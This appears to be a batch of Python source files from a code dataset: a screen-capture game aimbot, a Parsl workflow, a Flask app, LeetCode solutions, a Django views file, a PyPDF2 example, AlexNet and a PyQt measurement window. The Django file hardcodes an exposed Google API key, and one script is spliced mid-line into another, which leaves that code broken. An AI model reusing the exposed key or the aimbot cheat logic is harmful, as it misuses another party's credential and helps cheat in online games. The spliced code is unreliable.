e:\n pyautogui.moveTo(0, 0)\n #pyautogui.click()\n self.action_history.append((time() - self.start_time, (0, 0)))\n \n\n def start(self):\n self.running = True\n t = Thread(target=self.run)\n t.start()\n\n\n def stop(self):\n self.running = False\n \n \n def update(self, frame):\n self.lock.acquire()\n self.frame = frame\n self.lock.release()\n\n\n def run(self):\n while self.running:\n # TODO: shoot active target\n pass\n\n\ndef main():\n\n sw = pyautogui.size()[0]\n sh = pyautogui.size()[1]\n \n #multi_thread(sw, sh)\n\n single_thread(sw, sh)\n\n\ndef single_thread(sw, sh):\n\n capture = GameCapture(sw, sh)\n detector = Detection()\n vision = Vision()\n aimbot = AimBot()\n\n record = type(args['record']) == str\n if record:\n num = len([re.match(f'^{args[\"record\"]}', f) for f in os.listdir(\"output\")])\n fps = Utilities.fps_test2(sw, sh)\n print(f'FPS: {fps}')\n out = cv2.VideoWriter(f'output/{args[\"record\"]}-{num}.mp4', cv2.VideoWriter_fourcc(*'mp4v'), fps, (sw*2, sh*2))\n \n try:\n while True:\n frame = capture.capture_frame_by_PIL()\n\n boxes = detector.detect_YOLOv3(frame)\n\n target = vision.get_priority_target(boxes)\n frame = vision.draw_bounding_boxes(frame, boxes)\n frame = vision.draw_crosshair(frame, target)\n\n if target is not None:\n aimbot.shoot(target)\n\n if record:\n out.write(frame)\n\n except Exception as e:\n #print(e)\n pass\n\n if record:\n out.release()\n\n with open('output/actions.txt', 'w') as f:\n for action in aimbot.action_history:\n f.write(str(action))\n\n\ndef multi_thread(sw, sh):\n\n capture = GameCapture(sw, sh)\n detector = Detection()\n vision = Vision()\n aimbot = AimBot()\n\n record = type(args['record']) == str\n if record:\n num = len([re.match(f'^{args[\"record\"]}', f) for f in os.listdir(\"output\")])\n fps = Utilities.fps_test(sw, sh)\n out = cv2.VideoWriter(f'output/{args[\"record\"]}-{num}.mp4', cv2.VideoWriter_fourcc(*'mp4v'), fps, (sw*2, sh*2))\n \n capture.start()\n detector.start()\n aimbot.start()\n\n try:\n while True:\n \n if capture.frame is None:\n continue\n \n detector.update(capture.frame)\n\n # TODO: align bounding boxes with the correct frame OR reduce detect time by x10\n target = vision.get_priority_target(detector.boxes)\n frame = vision.draw_bounding_boxes(detector.frame, detector.boxes)\n frame = vision.draw_crosshair(frame, target)\n\n if target is not None:\n aimbot.shoot(target)\n\n if record:\n out.write(frame)\n\n except Exception as e:\n print(e)\n pass\n \n capture.stop()\n detector.stop()\n aimbot.stop()\n\n if record:\n out.release()\n\n with open('output/actions.txt', 'w') as f:\n for action in aimbot.action_history:\n f.write(str(action))\n pass\n\n\nparser = argparse.ArgumentParser()\nparser.add_argument('--record', metavar='', type=str, default=False, help='Record the live capture to an mp4 file.')\nargs = vars(parser.parse_args())\n\n\nif __name__ == '__main__':\n main()","sub_path":"aimbot.py","file_name":"aimbot.py","file_ext":"py","file_size_in_byte":4374,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"444763641","text":"import argparse\nimport parsl\nfrom parsl import *\n\nworkers = ThreadPoolExecutor(max_workers=4)\ndfk = DataFlowKernel(executors=[workers])\n\n\n## Define Apps ##\n@App('bash', dfk)\ndef WireDelay(threshIn='', outputs=[], geoDir='', daqId='', fw=''):\n\t\treturn 'perl perl/WireDelay.pl %s %s %s %s %s' %(threshIn,outputs[0],geoDir,daqId,fw)\n\n#@App('bash', dfk)\n#def WireDelay(inputs=[], outputs=[], geoDir='', daqId='', fw=''):\n#\t\treturn 'perl perl/WireDelay.pl %s %s %s %s %s' %(inputs[0],outputs[0],geoDir,daqId,fw)\n\n@App('bash', dfk)\ndef Combine(inputs=[],outputs=[]):\n\t\t#filenames = [str(i) for i in inputs]\n\t\tprint(\"inside Combine checkpoint 1\")\n\t\tprint(' '.join(filenames) )\n\t\t#print('perl perl/Combine.pl ' + ' '.join(inputs) + ' ' + str(outputs[0]))\n\t\tprint(\"inside Combine checkpoint 2\")\n\t\treturn 'perl perl/Combine.pl ' + ' '.join(inputs) + ' ' + str(outputs[0])\n\n@App('bash', dfk)\ndef Sort(inputs=[], outputs=[], key1='1', key2='1'):\n\t\treturn 'perl perl/Sort.pl %s %s %s %s' %(inputs[0], outputs[0], key1, key2)\n\n@App('bash', dfk)\ndef EventSearch(inputs=[], outputs=[], gate='', detCoinc='2', chanCoinc='2', eventCoinc='2'):\n\t\treturn 'perl perl/EventSearch.pl %s %s %s %s %s %s' %(inputs[0],outputs[0],gate,detCoinc,chanCoinc,eventCoinc)\n\n\n## Parse the command-line arguments ##\nparser = argparse.ArgumentParser()\n\nparser.add_argument(\"--thresholdAll\", nargs='+', help=\"All threshold files\")\nparser.add_argument(\"--wireDelayData\", nargs='+', help=\"Filenames for intermediate Wire Delay data\")\nparser.add_argument(\"--geoDir\", help=\"Directory containing DAQ ID directories that contain .geo files\")\n#parser.add_argument(\"--geoFiles\", nargs='+', help=\".geo filenames for each CRD\")\nparser.add_argument(\"--detectors\", nargs='+', help=\"IDs of all CRDs in the analysis\")\nparser.add_argument(\"--firmwares\", nargs='+', help=\"DAQ firmware versions\")\nparser.add_argument(\"--combineOut\", help=\"Combined data from all intermediate Wire Delay files\")\nparser.add_argument(\"--sort_sortKey1\")\nparser.add_argument(\"--sort_sortKey2\")\nparser.add_argument(\"--sortOut\")\nparser.add_argument(\"--gate\")\nparser.add_argument(\"--detectorCoincidence\")\nparser.add_argument(\"--channelCoincidence\")\nparser.add_argument(\"--eventCoincidence\")\nparser.add_argument(\"--eventCandidates\", help=\"eventCandidates file\")\n\nargs = parser.parse_args()\n\n\n## The Workflow ##\n\n# 1) WireDelay() takes input Threshold (.thresh) files and converts\n# each to a Wire Delay (.wd) file:\nWireDelay_futures = []\nfor i in range(len(args.thresholdAll)):\n\t\tWireDelay_futures.append(WireDelay(threshIn=args.thresholdAll[i], outputs=[args.wireDelayData[i]], geoDir=args.geoDir, daqId=args.detectors[i],fw=args.firmwares[i]))\n\n# WireDelay_futures is a list of futures.\n# Each future has an outputs list with one output.\nWireDelay_outputs = [i.outputs[0] for i in WireDelay_futures]\n\nprint(\"pre-combine checkpoint\")\n\n# 2) Combine() takes the WireDelay files output by WireDelay() and combines\n# them into a single file with name given by --combineOut\n#print(WireDelay_outputs, [args.combineOut])\nCombine_future = Combine(inputs=WireDelay_outputs, outputs=[args.combineOut])\n\n# 3) Sort() sorts the --combineOut file, producing a new file with name given\n# by --sortOut\nSortFuture = Sort(inputs=Combine_future.outputs, outputs=[args.sortOut], key1=args.sort_sortKey1, key2=args.sort_sortKey2)\n\n\n# 4) EventSearch() processes the --sortOut file and identifies event\n# candidates in a output file with name given by --eventCandidates\n# NB: This output file is interpreted by the e-Lab webapp, which expects it\n# to be named \"eventCandidates\"\nEventSearch(inputs=SortFuture.outputs, outputs=[args.eventCandidates], gate=args.gate, detCoinc=args.detectorCoincidence, chanCoinc=args.channelCoincidence, eventCoinc=args.eventCoincidence)\n","sub_path":"ShowerStudy-Test.py","file_name":"ShowerStudy-Test.py","file_ext":"py","file_size_in_byte":3780,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"358421816","text":"from flask import *\nimport pandas as pd\nfrom data import get_projections\n\napp = Flask(__name__)\n\n@app.route('/')\ndef index():\n \n projections, grades = get_projections()\n return render_template('index.html', projections=projections, grades=grades)\n\nif __name__ == \"__main__\":\n app.run(debug=True)","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":307,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"534177851","text":"# 1537. Get the Maximum Score\n# vwc 200\n# 2021/11/12\n\n# Runtime: 608 ms, faster than 69.07% of Python3 online submissions for Get the Maximum Score.\n# Memory Usage: 31.5 MB, less than 24.74% of Python3 online submissions for Get the Maximum Score.\n\n\n# 贪心算法思维题。\n# 将数组按照共同结点分段\n# 遍历的时候顺着值大的那条路走即可。\n# 解法写的不好，讨论区有更加精妙的解法。\n\nclass Solution:\n def maxSum(self, nums1: List[int], nums2: List[int]) -> int:\n common = set(nums1) & set(nums2)\n\n pos1, pos2 = {0: 0}, {0: 0}\n for i, num in enumerate(nums1):\n if num in common:\n pos1[num] = i\n for i, num in enumerate(nums2):\n if num in common:\n pos2[num] = i\n\n sums1, sums2 = [0], [0]\n for num in nums1:\n sums1.append(sums1[-1] + num)\n for num in nums2:\n sums2.append(sums2[-1] + num)\n common = sorted(common)\n ans, val_l = 0, 0\n for i in range(len(common)):\n l1, l2 = pos1[val_l], pos2[val_l]\n val_r = common[i]\n r1, r2 = pos1[val_r], pos2[val_r]\n ans += max(sums1[r1] - sums1[l1], sums2[r2] - sums2[l2]) % 1_000_000_007\n val_l = common[i]\n l1, l2 = pos1[val_l], pos2[val_l]\n ans += max(sums1[-1] - sums1[l1], sums2[-1] - sums2[l2]) % 1_000_000_007\n return ans % 1_000_000_007\n\n\n","sub_path":"1537. Get the Maximum Score.py","file_name":"1537. Get the Maximum Score.py","file_ext":"py","file_size_in_byte":1448,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"62643208","text":"class CustomStack:\n \"\"\"\n O(n) increment\n \"\"\"\n\n def __init__(self, maxSize: int):\n self.stack = []\n self.max_size = maxSize\n\n def push(self, x: int) -> None:\n if len(self.stack) < self.max_size:\n self.stack.append(x)\n\n def pop(self) -> int:\n if self.stack:\n return self.stack.pop()\n return -1\n\n def increment(self, k: int, val: int) -> None:\n for i in range(min(k, len(self.stack))):\n self.stack[i] += val\n\n\nclass CustomStack:\n \"\"\"\n O(1) increment\n \"\"\"\n\n def __init__(self, maxSize: int):\n self.stack = []\n self.max_size = maxSize\n self.inc = []\n\n def push(self, x: int) -> None:\n if len(self.stack) < self.max_size:\n self.stack.append(x)\n self.inc.append(0)\n\n def pop(self) -> int:\n if self.stack:\n if len(self.stack) > 1:\n self.inc[-2] += self.inc[-1]\n return self.stack.pop() + self.inc.pop()\n return -1\n\n def increment(self, k: int, val: int) -> None:\n if self.stack:\n self.inc[min(k, len(self.stack)) - 1] += val\n\n\nif __name__ == \"__main__\":\n customStack = CustomStack(3)\n customStack.push(1)\n customStack.push(2)\n print(customStack.pop())\n customStack.push(2)\n customStack.push(3)\n customStack.push(4)\n customStack.increment(5, 100)\n customStack.increment(2, 100)\n print(customStack.pop())\n print(customStack.pop())\n print(customStack.pop())\n print(customStack.pop())\n","sub_path":"array_stack_queue/1381DesignaStackWithIncrementOperation.py","file_name":"1381DesignaStackWithIncrementOperation.py","file_ext":"py","file_size_in_byte":1548,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"326574366","text":"print('welcome to program that displays the pythogeran triplets within a given range')#welcome message\nlimit=int(input('enter the highest range till which you would like to see the triplets\\n='))\nm=2\nwhile m**2= 9999:\n message_add = \"登録可能な一連番号が無いため、登録を行えません。\"\n #except Exception:\n #pass\n if not message_add:\n start_date = datetime.datetime.strptime(start_date, '%Y/%m/%d').strftime('%Y-%m-%d')\n if release_date != \"\":\n release_date = datetime.datetime.strptime(release_date, '%Y/%m/%d').strftime('%Y-%m-%d')\n models.Project.objects.create(PROJECT_ID=get_next_value('festival_classification_seq'),\n START_DATE=start_date, PROJECT_NO=project_no,\n PROJECT_NAME=project_name, PROTYPE_CODE_id=protype_code,\n LANGUAGE_CODE_id=language_code, SUMMARY=summary,\n STATUS_CODE_id=status_code, CUSTOMER=customer, CHARGE=charge,\n REVIEWER=reviewer, RELEASE_DATE=release_date, REMARKS=remarks)\n return redirect('/add/')\n else:\n models.Project.objects.create(PROJECT_ID=get_next_value('festival_classification_seq'),\n START_DATE=start_date, PROJECT_NO=project_no,\n PROJECT_NAME=project_name, PROTYPE_CODE_id=protype_code,\n LANGUAGE_CODE_id=language_code, SUMMARY=summary,\n STATUS_CODE_id=status_code, CUSTOMER=customer, CHARGE=charge,\n REVIEWER=reviewer, REMARKS=remarks)\n return redirect('/add/')\n return render(request, 'add.html', locals())\n add_form = ProjectForm()\n return render(request, 'add.html', locals())\n\n\ndef list_req(request):\n projects = models.Project.objects.all().order_by('PROJECT_ID')\n message_list = \"\"\n if projects.count() == 0:\n message_list = \"レコードが登録されていません。\"\n return render(request, 'list.html', {'message_list': message_list})\n for p in projects:\n p.PROTYPE_CODE_id = models.ProjectType.objects.get(PROTYPE_CODE=p.PROTYPE_CODE_id).PROTYPE_NAME\n p.LANGUAGE_CODE_id = models.Language.objects.get(LANGUAGE_CODE=p.LANGUAGE_CODE_id).LANGUAGE_NAME\n p.STATUS_CODE_id = models.Status.objects.get(STATUS_CODE=p.STATUS_CODE_id).STATUS_NAME\n p.PROJECT_ID = '{:0=4}'.format(p.PROJECT_ID)\n if p.RELEASE_DATE is None:\n p.RELEASE_DATE = \"\"\n url_form = UrlForm(initial={'now_url': request.path})\n url_form.fields['now_url'].widget = forms.HiddenInput()\n d = {\n 'projects': projects,\n 'message_list': message_list,\n 'url_form': url_form,\n }\n return render(request, 'list.html', d)\n\n\ndef isalnum(s):\n return re.compile(r'^[a-zA-Z0-9]+$').match(s) is not None\n\n\ndef isdateformat(date_text):\n return re.compile(r'^\\d{4}/\\d{2}/\\d{2}$').match(date_text) is not None\n\n\ndef isdate(date_text):\n try:\n datetime.datetime.strptime(date_text, '%Y/%m/%d')\n except ValueError:\n return False\n return True\n\n\ndef edit(request, project_id):\n if request.method == 'GET':\n url_form = UrlForm(request.GET)\n if url_form.is_valid():\n if url_form.cleaned_data['now_url'] == \"\":\n return render(request, 'error.html')\n else:\n return render(request, 'error.html')\n project = models.Project.objects.get(PROJECT_ID=project_id)\n message_add = \"\"\n if request.method == 'POST':\n form = ProjectForm(request.POST)\n form.fields['start_date'].required = False\n form.fields['project_no'].required = False\n form.fields['project_name'].required = False\n form.fields['protype_code'].required = False\n if form.is_valid():\n language_code = form.cleaned_data['language_code'].LANGUAGE_CODE\n summary = form.cleaned_data['summary']\n status_code = form.cleaned_data['status_code'].STATUS_CODE\n customer = form.cleaned_data['customer']\n charge = form.cleaned_data['charge']\n reviewer = form.cleaned_data['reviewer']\n release_date = form.cleaned_data['release_date']\n remarks = form.cleaned_data['remarks']\n if language_code == \"\":\n message_add = message_add + \"開発言語が選択されていません。\\n\"\n if status_code == \"\":\n message_add = message_add + \"状態が選択されていません。\\n\"\n if release_date != \"\":\n if not isdateformat(release_date):\n message_add = message_add + \"リリース日は yyyy/MM/dd の形式で入力してください。\\n\"\n elif not isdate(release_date):\n message_add = message_add + \"リリース日はカレンダーに存在しない日付です。\\n\"\n if message_add == \"\":\n project.LANGUAGE_CODE_id = language_code\n project.SUMMARY = summary\n project.STATUS_CODE_id = status_code\n project.CUSTOMER = customer\n project.CHARGE = charge\n project.REVIEWER = reviewer\n if release_date != \"\":\n release_date = datetime.datetime.strptime(release_date, '%Y/%m/%d').strftime('%Y-%m-%d')\n project.RELEASE_DATE = release_date\n project.REMARKS = remarks\n project.save()\n return redirect('/list/')\n else:\n form = ProjectForm(initial={\n 'project_id': project.PROJECT_ID,\n 'start_date': project.START_DATE.strftime('%Y/%m/%d'),\n 'project_no': project.PROJECT_NO,\n 'project_name': project.PROJECT_NAME,\n 'protype_code': project.PROTYPE_CODE_id,\n 'language_code': language_code,\n 'summary': summary,\n 'status_code': status_code,\n 'customer': customer,\n 'charge': charge,\n 'reviewer': reviewer,\n 'release_date': release_date,\n 'remarks': remarks,\n })\n form.fields['start_date'].disabled = True\n form.fields['project_no'].disabled = True\n form.fields['project_name'].disabled = True\n form.fields['protype_code'].disabled = True\n d = {\n 'project': form,\n 'project_id': project.PROJECT_ID,\n 'message_add': message_add,\n }\n return render(request, 'change.html', d)\n if project.RELEASE_DATE is None:\n rel_date = \"\"\n else:\n rel_date = project.RELEASE_DATE.strftime('%Y/%m/%d')\n form = ProjectForm(initial={\n 'project_id': project.PROJECT_ID,\n 'start_date': project.START_DATE.strftime('%Y/%m/%d'),\n 'project_no': project.PROJECT_NO,\n 'project_name': project.PROJECT_NAME,\n 'protype_code': project.PROTYPE_CODE_id,\n 'language_code': project.LANGUAGE_CODE_id,\n 'summary': project.SUMMARY,\n 'status_code': project.STATUS_CODE_id,\n 'customer': project.CUSTOMER,\n 'charge': project.CHARGE,\n 'reviewer': project.REVIEWER,\n 'release_date': rel_date,\n 'remarks': project.REMARKS,\n })\n form.fields['start_date'].disabled = True\n form.fields['project_no'].disabled = True\n form.fields['project_name'].disabled = True\n form.fields['protype_code'].disabled = True\n d = {\n 'project': form,\n 'project_id': project.PROJECT_ID,\n 'message_add': message_add,\n }\n return render(request, 'change.html', d)\n\n\ndef delete(request, project_id):\n project = models.Project.objects.get(PROJECT_ID=project_id)\n project.delete()\n return redirect('/list/')\n\n\ndef emotion(request):\n if request.method == 'POST':\n key = \"AIzaSyBbKSOqrwtXdRLV-owLDaP4shCoV8o_V7U\"\n url = 'https://language.googleapis.com/v1/documents:analyzeSentiment?key=' + key\n emotion_form = EmotionForm(request.POST)\n result = \"\"\n detail = {}\n if emotion_form.is_valid():\n text = emotion_form.cleaned_data['input_text']\n header = {'Content-Type': 'application/json'}\n body = {\n \"document\": {\n \"type\": \"PLAIN_TEXT\",\n \"language\": \"JA\",\n \"content\": text\n },\n \"encodingType\": \"UTF8\"\n }\n response = requests.post(url, headers=header, json=body).json()\n result = result + \"総合振れ幅:\" + str(response[\"documentSentiment\"][\"magnitude\"]) + \"\\n\"\n result = result + \"総合score(顧客満足度)：\" + str(response[\"documentSentiment\"][\"score\"]) + \"\\n\"\n for i in response[\"sentences\"]:\n detail[i[\"text\"][\"content\"]] = [str(i[\"sentiment\"][\"score\"]), i[\"sentiment\"][\"magnitude\"]]\n retresult = {\n 'result': result,\n 'emotion_form': emotion_form,\n 'detail': detail,\n }\n return render(request, 'emotion.html', retresult)\n emotion_form = EmotionForm()\n return render(request, 'emotion.html', {'emotion_form': emotion_form})\n","sub_path":"login/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":13344,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"239770304","text":"import PyPDF2\r\n\r\n# Using xxx for page level editing of PDF files\r\n# Note that PyPDF2 module cannot write text to a pdf\r\n\r\n\r\n# Using pythons built-in open() method to read binary pdf files\r\npdf1File = open('meetingminutes1.pdf', 'rb')\r\npdf2File = open('meetingminutes2.pdf', 'rb')\r\n\r\n# Parse binary to reader object using PyPDF2 module\r\nreader1 = PyPDF2.PdfFileReader(pdf1File)\r\nreader2 = PyPDF2.PdfFileReader(pdf2File)\r\n\r\n# Creating a writer object (a pdf file, still not stored on disk)\r\nwriter = PyPDF2.PdfFileWriter()\r\n\r\n# Run through first pdf file, page by page, and add each page to the writer object\r\nfor pageNum in range(reader1.numPages):\r\n page = reader1.getPage(pageNum)\r\n writer.addPage(page)\r\n\r\nfor pageNum in range(reader2.numPages):\r\n page = reader2.getPage(pageNum)\r\n writer.addPage(page)\r\n\r\n# Save writer object to disk (PDF file)\r\noutputFile = open('combinedminutes.pdf', 'wb')\r\nwriter.write(outputFile)\r\n\r\noutputFile.close()\r\npdf1File.close()\r\npdf2File.close()\r\n","sub_path":"examples/editPDF_PyPDF2_example.py","file_name":"editPDF_PyPDF2_example.py","file_ext":"py","file_size_in_byte":993,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"346401173","text":"\"\"\"\nProjet de session IFT780\nDate:\nAuthors: Alexandre Turpin, Quentin Levieux and Adrien Verdier\nLicense: Opensource, free to use\nOther: This File represent the AlexNet Model\n\"\"\"\n\nimport torch\nimport torch.nn as nn\nimport torch.nn.functional as F\nfrom src.models.CNNBlocks import ConvBlock\n\n\nclass AlexNet(nn.Module):\n \"\"\"\n Class used to implement the AlexNet model\n \"\"\"\n\n def __init__(self, in_channels, num_classes):\n \"\"\"\n Args:\n in_channels: The input channel for this model\n num_classes: The number of classes\n \"\"\"\n super(AlexNet, self).__init__()\n\n self.conv1 = nn.Sequential(\n ConvBlock(in_channels, 96, kernel_size=11, stride=4, padding=0),\n nn.MaxPool2d(kernel_size=3, stride=2)\n )\n\n self.conv2 = nn.Sequential(\n ConvBlock(96, 256, kernel_size=5, stride=1, padding=2),\n nn.MaxPool2d(kernel_size=3, stride=2),\n )\n\n self.conv3 = ConvBlock(256, 384, kernel_size=3, stride=1, padding=1)\n\n self.conv4 = ConvBlock(384, 384, kernel_size=3, stride=1, padding=1)\n\n self.conv5 = nn.Sequential(\n ConvBlock(384, 256, kernel_size=3, stride=1, padding=1),\n nn.MaxPool2d(kernel_size=3, stride=2),\n )\n\n self.linear_layers = nn.Sequential(\n nn.Linear(256 * 6 * 6, 4096),\n nn.Dropout(p=0.5),\n nn.Linear(4096, 4096),\n nn.Dropout(p=0.5),\n nn.Linear(4096, num_classes),\n )\n\n def forward(self, x):\n \"\"\"\n This method implement the forward propagation of our model\n Args :\n x: The input of the model\n\n Returns :\n out: The output of the model\n \"\"\"\n out = self.conv1(x)\n out = self.conv2(out)\n out = self.conv3(out)\n out = self.conv4(out)\n out = self.conv5(out)\n\n out = out.view(out.size(0), -1)\n\n out = self.linear_layers(out)\n\n out = F.log_softmax(out, dim=1)\n\n return out\n","sub_path":"src/models/AlexNet.py","file_name":"AlexNet.py","file_ext":"py","file_size_in_byte":2069,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"330290642","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Sun Feb 10 09:44:07 2019\nWindow for Measurement\n@author: juliengautier\n\"\"\"\n\n\nimport qdarkstyle \nfrom pyqtgraph.Qt import QtCore,QtGui \nfrom PyQt5.QtWidgets import QApplication,QVBoxLayout,QHBoxLayout,QPushButton\nfrom PyQt5.QtWidgets import QMenu,QWidget,QTableWidget,QTableWidgetItem,QAbstractItemView\nimport sys,time,os\nimport numpy as np\nimport pylab\nfrom PyQt5.QtGui import QIcon\nfrom scipy import ndimage\nfrom visu.WinCut import GRAPHCUT\nimport pathlib\n\n\nclass MEAS(QWidget):\n \n def __init__(self):\n \n super(MEAS, self).__init__()\n p = pathlib.Path(__file__)\n conf=QtCore.QSettings(str(p.parent / 'confVisu.ini'), QtCore.QSettings.IniFormat)\n \n self.icon=str(p.parent) + '/icons/'\n self.isWinOpen=False\n self.setup()\n self.setWindowTitle('MEASUREMENTS')\n self.shoot=0\n self.nomFichier=''\n self.TableSauv=['file,Max,Min,x Max,y max,Sum,Mean,Size,x c.mass,y c.mass']\n self.conf =conf\n self.path=self.conf.value('VISU'+\"/path\")\n self.winCoupeMax=GRAPHCUT()\n self.winCoupeMin=GRAPHCUT()\n self.winCoupeXmax=GRAPHCUT()\n self.winCoupeYmax=GRAPHCUT()\n self.winCoupeSum=GRAPHCUT()\n self.winCoupeMean=GRAPHCUT()\n self.winCoupeXcmass=GRAPHCUT()\n self.winCoupeYcmass=GRAPHCUT()\n self.setStyleSheet(qdarkstyle.load_stylesheet_pyqt5())\n self.Maxx=[]\n self.Minn=[]\n self.Summ=[]\n self.Mean=[]\n self.Xmax=[]\n self.Ymax=[]\n self.Xcmass=[]\n self.Ycmass=[]\n self.labelsVert=[]\n self.setWindowIcon(QIcon(self.icon+'LOA.png'))\n \n def setFile(self,file) :\n self.nomFichier=file\n \n def setup(self):\n \n vLayout=QVBoxLayout()\n \n hLayout1=QHBoxLayout()\n \n self.FileMenu=QPushButton('File')\n self.FileMenu2=QPushButton('Plot')\n hLayout1.addWidget(self.FileMenu)\n hLayout1.addWidget(self.FileMenu2)\n menu=QMenu()\n menu.addAction('&Open',self.openF)\n menu.addAction('&Save',self.saveF)\n self.FileMenu.setMenu(menu)\n menu2=QMenu()\n menu2.addAction('max',self.PlotMAX)\n menu2.addAction('min',self.PlotMIN)\n menu2.addAction('x max',self.PlotXMAX)\n menu2.addAction('y max',self.PlotYMAX)\n menu2.addAction('Sum',self.PlotSUM)\n menu2.addAction('Mean',self.PlotMEAN)\n \n menu2.addAction('x center mass',self.PlotXCMASS)\n menu2.addAction('y center mass',self.PlotYCMASS)\n \n self.FileMenu2.setMenu(menu2)\n \n \n \n hLayout2=QHBoxLayout()\n self.table=QTableWidget()\n hLayout2.addWidget(self.table)\n \n self.table.setColumnCount(10)\n #self.table.setRowCount(10)\n \n self.table.setHorizontalHeaderLabels(('File','Max','Min','x max','y max','Sum','Mean','Size','x c.mass','y c.mass'))\n self.table.horizontalHeader().setVisible(True)\n self.table.setAlternatingRowColors(True)\n self.table.resizeColumnsToContents()\n self.table.setEditTriggers(QAbstractItemView.NoEditTriggers)# no modifiable\n \n vLayout.addLayout(hLayout1)\n vLayout.addLayout(hLayout2)\n self.setLayout(vLayout)\n \n def saveF(self):\n \n fname=QtGui.QFileDialog.getSaveFileName(self,\"Save Measurements as txt file\",self.path)\n \n self.path=os.path.dirname(str(fname[0]))\n #mat=np.array(self.TableSauv)\n #print('mat=',mat)\n# with open('myfile','w',)as f:\n# json.dump(self.TableSauv,f)\n f=open(str(fname[0])+'.txt','w')\n f.write(\"\\n\".join(self.TableSauv))\n f.close()\n \n def openF(self) :\n print ('open not done')\n \n\n def PlotMAX(self):\n self.open_widget(self.winCoupeMax)\n self.winCoupeMax.SetTITLE('Plot Max')\n self.winCoupeMax.PLOT(self.Maxx)\n \n def PlotMIN (self):\n self.open_widget(self.winCoupeMin)\n self.winCoupeMin.SetTITLE('Plot Min')\n self.winCoupeMin.PLOT(self.Minn)\n \n \n def PlotXMAX(self):\n self.open_widget(self.winCoupeXmax)\n self.winCoupeXmax.SetTITLE('Plot X MAX')\n self.winCoupeXmax.PLOT(self.Xmax)\n \n def PlotYMAX(self):\n self.open_widget(self.winCoupeYmax)\n self.winCoupeYmax.SetTITLE('Plot Y MAX')\n self.winCoupeYmax.PLOT(self.Ymax)\n \n \n def PlotSUM(self):\n self.open_widget(self.winCoupeSum)\n self.winCoupeSum.SetTITLE('Plot Sum')\n self.winCoupeSum.PLOT(self.Summ)\n \n def PlotMEAN (self):\n self.open_widget(self.winCoupeMean)\n print('plot mean')\n self.winCoupeMean.SetTITLE('Plot Mean')\n print('pppp')\n self.winCoupeMean.PLOT(self.Mean)\n print('ppeeeepp')\n \n def PlotXCMASS (self):\n self.open_widget(self.winCoupeXcmass)\n self.winCoupeXcmass.SetTITLE('Plot x center of mass')\n self.winCoupeXcmass.PLOT(self.Xcmass)\n \n def PlotYCMASS (self):\n self.open_widget(self.winCoupeYcmass)\n self.winCoupeYcmass.SetTITLE('Plot Y center of mass')\n self.winCoupeYcmass.PLOT(self.Xcmass) \n \n \n def Display(self,data):\n \n maxx=round(data.max(),3)\n minn=round(data.min(),3)\n summ=round(data.sum(),3)\n moy=round(data.mean(),3)\n \n (xmax,ymax)=pylab.unravel_index(data.argmax(),data.shape)\n (xcmass,ycmass)=ndimage.center_of_mass(data)\n xcmass=round(xcmass,3)\n ycmass=round(ycmass,3)\n xs=data.shape[0]\n ys=data.shape[1]\n self.table.setRowCount(self.shoot+1)\n self.table.setItem(self.shoot, 0, QTableWidgetItem(str(self.nomFichier)))\n self.table.setItem(self.shoot, 1, QTableWidgetItem(str(maxx)))\n self.table.setItem(self.shoot, 2, QTableWidgetItem(str(minn)))\n self.table.setItem(self.shoot, 3, QTableWidgetItem(str(xmax)))\n self.table.setItem(self.shoot, 4, QTableWidgetItem(str(ymax)))\n self.table.setItem(self.shoot, 5, QTableWidgetItem(str(summ)))\n self.table.setItem(self.shoot, 6, QTableWidgetItem(str(moy)))\n self.table.setItem(self.shoot, 7, QTableWidgetItem( (str(xs) +'*'+ str(ys) ) ))\n self.table.setItem(self.shoot, 8, QTableWidgetItem( str(xcmass) ) )\n self.table.setItem(self.shoot, 9, QTableWidgetItem( str(ycmass) ) )\n \n self.table.resizeColumnsToContents()\n self.labelsVert.append('%s'% self.shoot)\n self.TableSauv.append( '%s,%.1f,%.1f,%i,%i,%.1f,%.3f,%.2f,%.2f,%.2f,%.2f' % (self.nomFichier,maxx,minn,xmax,ymax,summ,moy,xs,ys,xcmass,ycmass) )\n self.Maxx.append(maxx)\n self.Minn.append(minn)\n self.Summ.append(summ)\n self.Mean.append(moy)\n self.Xmax.append(xmax)\n self.Ymax.append(ymax)\n \n self.Xcmass.append(xcmass)\n self.Ycmass.append(ycmass)\n \n \n self.table.setVerticalHeaderLabels(self.labelsVert)\n\n\n\n # plot Update \n if self.winCoupeMax.isWinOpen==True:\n self.winCoupeMax.PLOT(self.Maxx)\n if self.winCoupeMin.isWinOpen==True:\n self.winCoupeMin.PLOT(self.Minn)\n \n if self.winCoupeXmax.isWinOpen==True:\n self.winCoupeXmax.PLOT(self.Xmax)\n if self.winCoupeYmax.isWinOpen==True:\n self.winCoupeYmax.PLOT(self.Ymax) \n if self.winCoupeSum.isWinOpen==True:\n self.winCoupeSum.PLOT(self.Summ)\n \n if self.winCoupeMean.isWinOpen==True:\n self.winCoupeMean.PLOT(self.Mean)\n \n if self.winCoupeXcmass.isWinOpen==True:\n self.winCoupeXcmass.PLOT(self.Xcmass)\n if self.winCoupeYcmass.isWinOpen==True:\n self.winCoupeYcmass.PLOT(self.Ycmass)\n \n self.shoot+=1\n \n def closeEvent(self, event):\n \"\"\" when closing the window\n \"\"\"\n self.isWinOpen=False\n self.shoot=0\n self.TableSauv=['file,Max,Min,x Max,y max,Sum,Mean,Size,x c.mass,y c.mass']\n \n if self.winCoupeMax.isWinOpen==True:\n self.winCoupeMax.close()\n if self.winCoupeMin.isWinOpen==True:\n self.winCoupeMin.close()\n if self.winCoupeXmax.isWinOpen==True:\n self.winCoupeXmax.close()\n if 